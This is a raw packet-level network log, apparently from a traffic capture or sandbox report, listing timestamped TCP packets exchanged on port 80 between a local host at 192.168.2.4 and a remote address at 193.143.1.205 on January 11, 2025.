Jan 11, 2025 08:10:01.688744068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688755989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688776016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688787937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688807964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688817024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.688817024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.688819885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688874960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.689706087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.703110933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710119009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710133076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710153103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710175037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710186958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710205078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710211992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710225105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710236073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710247993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710258007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710268021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710295916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710299015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710306883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710325956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710335970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710345984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710345984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710402012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710491896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710504055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710524082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710553885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710562944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710562944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710570097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710586071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710604906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710627079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710658073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710665941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710678101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710696936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710719109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710732937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710735083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710753918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710764885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.710783958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.710798979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.711298943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711328983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711339951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711359978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711359978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.711433887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711446047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711464882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711476088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711479902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.711479902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.711494923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711533070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711534023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.711534023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.711544991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711570978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711582899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711601019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.711617947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.711617947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712162971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712173939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712205887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712215900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712236881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712240934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712240934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712249041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712270021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712307930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712307930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712336063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712347984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712367058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712378025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712399006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712425947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712425947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712471962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712483883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712505102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.712562084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.712562084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713148117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713174105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713186026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713212967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713227034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713238955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713246107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713258028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713268995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713279009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713295937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713303089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713313103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713334084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713344097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713351965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713351965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713362932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713417053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713424921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713438034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.713597059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.713597059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.714031935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714044094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714071989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714082956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714093924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.714102983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714113951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714147091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.714147091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.714179039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714190960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714210033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714221954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714250088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.714250088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.714293957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714306116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714324951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714335918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.714365959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.714365959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.755916119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.755932093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.755954027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.755964041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.755985022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756042004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756052971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756073952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.756140947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.756191969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756202936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756222010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756233931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756288052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.756288052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.756345987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756356955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756377935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756386995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.756428003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.756428003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.778136969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778150082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778172016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778266907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778280020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778301001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.778345108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.778433084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778445005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778462887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.778502941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.778502941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.781284094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781294107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781312943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781347036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.781441927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781452894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781474113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781485081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781507015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.781513929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.781513929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.781888962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.803620100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803634882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803654909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803666115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803713083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.803713083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.803786993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803807020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803818941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803839922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803850889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803854942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.803870916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803903103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.803926945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803936958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803953886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.803953886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.803973913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804038048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804038048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804084063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804094076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804114103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804240942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804253101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804254055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804291964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804419994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804433107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804452896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804464102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804500103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804500103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804594040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804604053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804625988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804657936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804764032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804775953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804786921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804794073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804800034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804805994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804821014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804846048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804860115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804884911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804884911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804904938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.804908037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804927111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804941893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.804997921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.805107117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805124044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805258989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805269957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805286884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.805290937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805303097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.805361032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.805429935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805442095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805461884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805608988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805614948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.805630922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805643082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805663109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805680990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805687904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.805687904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.805691957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.805740118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.809463978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809477091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809497118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809544086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.809544086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.809613943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809789896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809803963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809824944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809834957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809854984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809864044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.809864044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.809866905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809952021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809953928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.809962988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.809983015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810002089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810003042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810014009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810055971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810055971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810276985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810287952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810306072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810317993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810334921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810365915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810365915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810421944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810434103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810456038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810502052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810502052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810605049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810616016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810636997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810647011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810667038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810692072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810692072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.810920000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810930014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810949087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810960054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810977936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.810995102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.811006069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.811007977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.811007977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.811060905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.811060905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.821578026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.834841967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.848499060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848515034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848623991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.848625898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848638058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848659039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848696947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.848795891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848819017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848836899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848844051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.848849058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848925114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.848953962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848965883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848987103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.848995924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.848999023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849020004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849057913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.849057913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.849160910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849173069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849193096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.849203110 CET	80	49730	193.143.1.205	192.168.2.4
